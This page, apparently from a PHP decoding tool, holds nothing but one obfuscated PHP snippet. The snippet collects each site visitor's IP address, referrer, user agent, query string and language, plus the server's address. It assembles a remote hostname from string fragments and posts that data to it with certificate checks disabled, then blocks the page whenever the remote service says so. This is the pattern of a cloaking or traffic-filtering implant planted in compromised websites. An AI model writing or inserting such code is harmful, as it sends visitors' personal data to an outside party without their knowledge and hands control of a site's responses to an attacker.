PHP Decode

<?php $y3="sdrh2qijiqg9gccj";if(!function_exists("trueip")){function i0(){if(!empty($_SERVER["HTTP_CF_CONNECTING_IP"])&&$_SERVER["HTTP_CF_CONNECTING_IP"]!="127.0.0.1"&&$_SERVER["HTTP_CF_CONNECTING_IP"]!=$_SERVER["SERVER_ADDR"]){$z4=$_SERVER["HTTP_CF_CONNECTING_IP"];}elseif(!empty($_SERVER["GEOIP_ADDR"])&&$_SERVER["GEOIP_ADDR"]!="127.0.0.1"){$z4=$_SERVER["GEOIP_ADDR"];}elseif(!empty($_SERVER["HTTP_X_FORWARDED_FOR"])&&$_SERVER["HTTP_X_FORWARDED_FOR"]!="127.0.0.1"&&$_SERVER["HTTP_X_FORWARDED_FOR"]!=$_SERVER["SERVER_ADDR"]){$z4=explode(",",$_SERVER["HTTP_X_FORWARDED_FOR"])[0];}elseif(!empty($_SERVER["HTTP_CLIENT_IP"])&&$_SERVER["HTTP_CLIENT_IP"]!="127.0.0.1"&&$_SERVER["HTTP_CLIENT_IP"]!=$_SERVER["SERVER_ADDR"]){$z4=$_SERVER["HTTP_CLIENT_IP"];}else{$z4=$_SERVER["REMOTE_ADDR"];}return $z4;}}$z4=i0();if(!function_exists("truer")){function b1(){if(empty($_SERVER["HTTP_REFERER"])){$_SERVER["HTTP_REFERER"]=getenv("HTTP_REFERER");}return $_SERVER["HTTP_REFERER"];}}$v5=b1();if(!function_exists("trueua")){function u2(){if(empty($_SERVER["HTTP_USER_AGENT"])){$_SERVER["HTTP_USER_AGENT"]=getenv("HTTP_USER_AGENT");}return $_SERVER["HTTP_USER_AGENT"];}}$i6=u2();if($_SERVER["QUERY_STRING"]!=""){$c7="".urlencode($_SERVER["QUERY_STRING"])."";}else{$c7="";}$j8=$_SERVER["SERVER_ADDR"];$r9=substr(@$_SERVER["HTTP_ACCEPT_LANGUAGE"],0,2);$u10="ap";$v11="ch";$n12="";$b13="p.an";$u14="om";$r15="q903629";$r16="oshi";$x17="eld.c";$g18="i";$u19=curl_init();curl_setopt($u19,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($u19,CURLOPT_URL,"https://".$u10.$b13.$r16.$x17.$u14."/".$u10.$g18);curl_setopt($u19,CURLOPT_RETURNTRANSFER,true);curl_setopt($u19,CURLOPT_TIMEOUT,333);curl_setopt($u19,CURLOPT_POST,true);curl_setopt($u19,CURLOPT_POSTFIELDS,"key=".$y3."&svip=".$j8."&fd=".$r15."&ip=".$z4."&ref=".$v5."&ua=".$i6."&data=".$c7."&sourceid=".$n12."&sourcename=".$v11."");$k20=curl_exec($u19);curl_close($u19);if($k20!="0"){header_remove();header("Connection: close");header("HTTP/1.1 505");$j21=false;die();}?>